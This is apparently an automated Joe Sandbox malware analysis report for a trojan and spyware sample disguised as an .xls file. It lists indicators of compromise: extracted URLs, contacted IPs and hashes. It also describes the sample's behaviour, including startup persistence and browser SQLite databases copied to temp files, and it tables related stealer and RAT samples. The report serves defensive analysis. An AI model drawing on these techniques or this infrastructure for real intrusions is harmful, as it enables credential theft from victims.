http://james.newtonking.com/projects/json	RegAsm.exe, 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
https://github.com/LimerBoy/StormKitty	RegAsm.exe, 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	RegAsm.exe, 00000002.00000002.2656518468.0000000003E16000.00000004.00000800.00020000.00000000.sdmp, tmp1CF0.tmp.dat.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
http://cdn.discordapp.com	rDoc5633276235623657_xls.exe, 00000000.00000002.1784666277.0000000002D63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.newtonsoft.com/jsonschema	RegAsm.exe, 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.nuget.org/packages/Newtonsoft.Json.Bson	RegAsm.exe, 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	places.raw.2.dr	false	URL Reputation: safe	unknown
https://urn.to/r/sds_see	RegAsm.exe, 00000002.00000002.2660991014.0000000006AD0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	RegAsm.exe, 00000002.00000002.2656518468.0000000003E16000.00000004.00000800.00020000.00000000.sdmp, tmp1CF0.tmp.dat.2.dr	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rDoc5633276235623657_xls.exe, 00000000.00000002.1784666277.0000000002CE1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2654703990.0000000002DD1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegAsm.exe, 00000002.00000002.2656518468.0000000003E53000.00000004.00000800.00020000.00000000.sdmp, tmpA7EC.tmp.dat.2.dr, tmp1D00.tmp.dat.2.dr	false	URL Reputation: safe	unknown
http://cdn.discordapp.comd	rDoc5633276235623657_xls.exe, 00000000.00000002.1784666277.0000000002D63000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.159.135.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false
178.215.236.218	unknown	Germany		10753	LVLT-10753US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519397
Start date and time:	2024-09-26 13:25:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Critical Process Termination
Sample name:	rDoc5633276235623657_xls.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/20@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 218 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rDoc5633276235623657_xls.exe

Simulations

Behavior and APIs

Time	Type	Description
07:26:14	API Interceptor	793122x Sleep call for process: RegAsm.exe modified
12:26:17	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
162.159.135.233	Cheat.Lab.2.7.2.msi	Get hash	malicious	RedLine	Browse	cdn.discordapp.com/attachments/1166694393298817025/1171047481182793729/2.txt
	#U043f#U0440#U043e#U0432#U0435#U0440#U0430_#U0431#U043b#U043e#U043a#U043d#U043e#U0442#U0430.scr.exe	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/1161633037004587060/1161731056462995496/lient.exe
	QUOTATION_SEPT9FIBA00541#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, AveMaria	Browse	cdn.discordapp.com/attachments/1152164172566630421/1153190859320328273/Vvdsupbjet.exe
	We7WnoqeXe.exe	Get hash	malicious	Amadey RedLine	Browse	cdn.discordapp.com/attachments/878034206570209333/908097655173947432/slhost.exe
	mosoxxxHack.exe	Get hash	malicious	Amadey RedLine	Browse	cdn.discordapp.com/attachments/710557342755848243/876828681815871488/clp.exe
	Sales-contract-deaho-180521-poweruae.doc	Get hash	malicious	Unknown	Browse	cdn.discordapp.com/attachments/843685789120331799/844316591284944986/poiu.exe
	PURCHASE ORDER E3007921.EXE	Get hash	malicious	Snake Keylogger	Browse	cdn.discordapp.com/attachments/809311531652087809/839820005927550996/Youngest_Snake.exe
	Waybill Document 22700456.exe	Get hash	malicious	Nanocore	Browse	cdn.discordapp.com/attachments/809311531652087809/839856358152208434/May_Blessing.exe
	COMPANY REQUIREMENT.doc	Get hash	malicious	Snake Keylogger	Browse	cdn.discordapp.com/attachments/819674896988242004/819677189900861500/harcout.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.discordapp.com	https://game-repack.site/2024/09/26/bloodborne	Get hash	malicious	Unknown	Browse	162.159.133.233
	450230549.exe	Get hash	malicious	AgentTesla	Browse	162.159.134.233
	450230549.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	162.159.130.233
	https://mj.ostep.net/acknowledgements	Get hash	malicious	Unknown	Browse	162.159.133.233
	Shipping Documemt.vbs	Get hash	malicious	Lokibot	Browse	162.159.135.233
	CERENAK-7373.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	CERENAK-7373.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	22.09.2024-22.09.2024.exe	Get hash	malicious	AgentTesla	Browse	162.159.133.233
	receipt#295.vbs	Get hash	malicious	Unknown	Browse	162.159.129.233

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://game-repack.site/2024/09/26/bloodborne	Get hash	malicious	Unknown	Browse	104.21.84.200
	e.dll	Get hash	malicious	Dridex Dropper	Browse	104.21.69.9
	https://content.app-us1.com/kd4oo8/2024/09/26/7d3453ba-0845-4df1-80a7-42d15e30f736.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.38.76
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	104.16.79.73
	http://ti6.htinenate.com	Get hash	malicious	Unknown	Browse	172.67.162.17
	https://coreleete.de/pt/Odrivex/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	e.dll	Get hash	malicious	Dridex Dropper	Browse	104.21.69.9
	Ref_336210627.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	g3V051umJf.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://centuriontm.bizarreonly.net	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	104.26.13.205
LVLT-10753US	Awb_Shipping_Documents_BL_Invoice_Packinglist_0000000000000000000000pdf.exe	Get hash	malicious	Remcos, GuLoader	Browse	193.25.216.108
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	178.215.238.7
	hidakibest.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	178.215.238.7

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	162.159.135.233
	sRMytgfRpJ.exe	Get hash	malicious	RedLine	Browse	162.159.135.233
	nBank_Report.pif.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.135.233
	z1Invoice1.bat.exe	Get hash	malicious	VIP Keylogger	Browse	162.159.135.233
	ziraat bankasi_TRY M#U00fc#U015fteri No_11055699-1034 nolu TICARI 26.09.2024.exe	Get hash	malicious	Snake Keylogger	Browse	162.159.135.233
	sostener.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	162.159.135.233
	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.135.233
	sostener.vbs	Get hash	malicious	Remcos	Browse	162.159.135.233
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.135.233
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	162.159.135.233

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\XClient.exe	lchs.exe	Get hash	malicious	Quasar	Browse
	Shipping Documemt.vbs	Get hash	malicious	Lokibot	Browse
	AaK2FmzNcl.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Trojan.Siggen29.33686.11630.12129.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.Siggen29.33686.11630.12129.exe	Get hash	malicious	Unknown	Browse
	pic4.jpg.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium, StormKitty	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	lgnasdfnds.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	rhTHyegj6G.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_d844b8734f1fb45ad8a822ff442cea23ced3141_3486005a_52676790-a461-4f19-a7ba-cc778124643c\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.4457903104646446
Encrypted:	false
SSDEEP:	384:wLkB+1HBU/qaUC0t9MVzzuiF1Y4IO8/7:it1HBU/qa29MZzuiF1Y4IO8
MD5:	CAA6941BFBBF1A1F1585D14454677E20
SHA1:	2AE8BF7C8D50F29D8993B9A29D1A0FA805CF9CE2
SHA-256:	AC933BC15FE3D86148965F71441DF5D9E54A78D6E3A1402FA6D3A3DD8A220694
SHA-512:	F4420B3D820F265AE9167C1AF2AF9FAC653750B1E89DBF273F453049D1CC88DC1FC91915AA9615873842A6821B7422E6235BDAEA9854C21ECA43F5C15E99AB67
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.r.i.t.i.c.a.l.P.r.o.c.e.s.s.F.a.u.l.t.2.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.1.8.2.3.6.5.5.2.2.8.0.6.3.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.2.6.7.6.7.9.0.-.a.4.6.1.-.4.f.1.9.-.a.7.b.a.-.c.c.7.7.8.1.2.4.6.4.3.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.2.6.7.9.9.e.5.-.0.0.e.d.-.4.f.9.3.-.b.6.d.6.-.b.f.6.3.7.4.4.f.d.6.e.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.6.0.-.0.0.0.1.-.0.0.1.4.-.f.6.2.3.-.b.8.e.2.0.6.1.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.R.e.g.A.s.m...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.9././.1.1././.2.4.:.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8A2C.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Sep 26 11:27:35 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	394169
Entropy (8bit):	3.64155410806019
Encrypted:	false
SSDEEP:	3072:kECVgwE4uEqxZELTgC7yU8yXdVR47MzHyCjE5AKeO+Z6cMH:k1OwE48Z6TgC7yzytVS7yHtj77Oc6HH
MD5:	873584A7C5B1D1AA095C30530AFC6C12
SHA1:	16E1FF462E9686530D03CC5A453DEC77FDD985E6
SHA-256:	045CFE56EEEEE2093BEC255AD48D7466F88D38F5A8320AF203D13F9324107F55
SHA-512:	FED18DCE645236945EC8E8F485CFDF4E6392E3D16D0D21E7A1E0C8F5AFE127FD1418F6FE060D859AFD5564C9D7193153F752DD2067AB37668FE78D2A04CAB886
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......'E.f............4............*..<.......d1..Fv..........T.......8...........T...........HT..q............4...........6..............................................................................eJ......`7......GenuineIntel............T.......`....D.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C31.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6504
Entropy (8bit):	3.7144177633347386
Encrypted:	false
SSDEEP:	192:R6l7wVeJJ26QolrAYk4jY4kLpr889bwl7sflWdm:R6lXJ46UYkJ4k/wlAf4A
MD5:	3CC03F4FFE0E743245F6C038D0B2BBE7
SHA1:	A70E758F6450BEED1D24D02A707FE95B58E785FA
SHA-256:	01EFF8F69A3785C6EEB0F664663F1633351B65ADBDE108477535AC20E18A741B
SHA-512:	2E31D7F3FF39DCCF0BF29C364D7489C346380B0F84A180561C3A2E484CFD540FF5B4598BBBC757EA06451056EBDC5EF9DA94B5ACC132EC80FD3C1DEFE94AD13B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.0.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C61.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4855
Entropy (8bit):	4.456507852625626
Encrypted:	false
SSDEEP:	48:cvIwWl8zstJg77aI9PUrWpW8VYj5Ym8M4JfuQ3FYo+q8vR9QKQgLuOLukrd:uIjfHI7NUa7VJJfu2K3lBukukrd
MD5:	AD0D01FE68056A0A2EFC1A18C44827E9
SHA1:	9A7D4A885CE8C28D67D824F44F5DCDF17BC52103
SHA-256:	78DA2ADFD2DEABE6D80507C9503EA592DBBBE4866F7F87672ECC183AACCE935C
SHA-512:	CB1CECFC9EE33CF26A2914997257633E0224F451149DDF3CFB0F8ACE6AF99C40CBCBF2B48DF319FB6B3DB9435698D6451FFAC7A4869E12A27C3E903A0EF6DB45
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="517110" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rDoc5633276235623657_xls.exe.log

Process:	C:\Users\user\Desktop\rDoc5633276235623657_xls.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\places.raw

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CCF.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CD0.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CF0.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1D00.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp733.tmp.dat

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
